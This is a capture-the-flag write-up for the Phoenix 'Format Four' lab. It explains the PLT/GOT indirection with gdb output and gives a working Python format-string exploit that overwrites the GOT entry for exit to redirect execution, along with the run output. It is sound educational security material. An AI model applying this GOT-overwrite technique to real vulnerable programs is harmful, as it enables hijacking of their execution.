04 February 2019

Format 4

Write-up for: Format Four

The bug in this challenge is the same as in the previous one, so I’m not going into details. But this time, the goal is to redirect execution. The key to solving this challenge is the slightly modified bounce function:

void bounce(char *str) {
    printf(str);
    exit(0);
}

It was extended by a call to the externally defined (in the standard library) exit function. Since the location of this function is not known to program at compile time, it’s the linkers job to fill in this detail during dynamic linking. For this, there is the PLT and GOT (procedure linkage table and global offset table).

Basically, there is an additional layer of indirection. Instead of directly jumping to the function, execution goes through the PLT which in turn jumps to an offset stored in the GOT.

In gdb this looks as follows:

(gdb) disas bounce
Dump of assembler code for function bounce:
0x080484e5 <+0>:     push   %ebp
0x080484e6 <+1>:     mov    %esp,%ebp
0x080484e8 <+3>:     sub    $0x8,%esp
0x080484eb <+6>:     sub    $0xc,%esp
0x080484ee <+9>:     pushl  0x8(%ebp)
0x080484f1 <+12>:    call   0x8048300 <printf@plt>
0x080484f6 <+17>:    add    $0x10,%esp
0x080484f9 <+20>:    sub    $0xc,%esp
0x080484fc <+23>:    push   $0x0
0x080484fe <+25>:    call   0x8048330 <exit@plt>

At the end of bounce we call the exit@plt symbol. This is not the actual function but its’ representation in the PLT. It looks like this:

(gdb) disas 0x8048330
Dump of assembler code for function exit@plt:
0x08048330 <+0>:     jmp    *0x80497e4
0x08048336 <+6>:     push   $0x18
0x0804833b <+11>:    jmp    0x80482f0

As you can see, we jump to an address stored at 0x80497e4. This is the entry in the GOT filled by the dynamic linker during program load:

(gdb) x 0x80497e4
0x80497e4 <exit@got.plt>:       0xf7f7f543

This means, the actual code for the exit function starts at 0xf7f7f543.

But how does this help us as attackers?

Redirecting code execution

In the previous challenge we established an arbitrary write primitive using the format string exploit. We can now use this to overwrite the entry in the GOT! This means, when going through the PLT, execution will jump to an address of our choosing instead of to libc.

The goal is simple: overwrite the value at 0x80497e4 with the address of the congratulations function which is 0x08048503.

(gdb) disas congratulations
Dump of assembler code for function congratulations:
0x08048503 <+0>:     push   %ebp
...
0x0804851e <+27>:    call   0x8048330 <exit@plt>

This can be achieved reusing the exploit from the previous exercise and adapting the values to the new addresses:

import struct

ADDR = 0x80497e4

buf = struct.pack("I", ADDR)
buf += "AAAA" # Add padding between addresses since we can't access arguments directly. This ensures that between the first and second write we can add more padding to control the value we write
buf += struct.pack("I", ADDR + 2)
buf += "%" + str(0x8503 - len(buf) - 10) + "x" + "%c" * 10 + "%n" # Write to lower 2 bytes, address is at the 12th argument position. We don't have the '$' sematic on this machine so we need to provide explicit format specifiers until %n is the 12th one.
buf += "%" + str(0x10804 - 0x8503) +  "x" + "%n" # Write to upper 2 bytes
print buf

Just like before, we write twice to avoid having to write a huge number of characters. First we write the lower two bytes of the target address. Then we again make use of the fact that we write 4-byte values and we can overflow the 2-byte value to be smaller than the first one (see format-three for details). Run the payload and, voila!

 $user@phoenix-amd64:/opt/phoenix/i486$ ./format-four < <(python ~/format-four.py)
 ...
 Well done, you're redirected code execution!
 Well done, you're redirected code execution!
 Well done, you're redirected code execution!
 ...

Now, the program is stuck in an endless loop. This is expected since congratulations also calls exit. And since we overwrote exit with congratulations, we enter an endless recursion.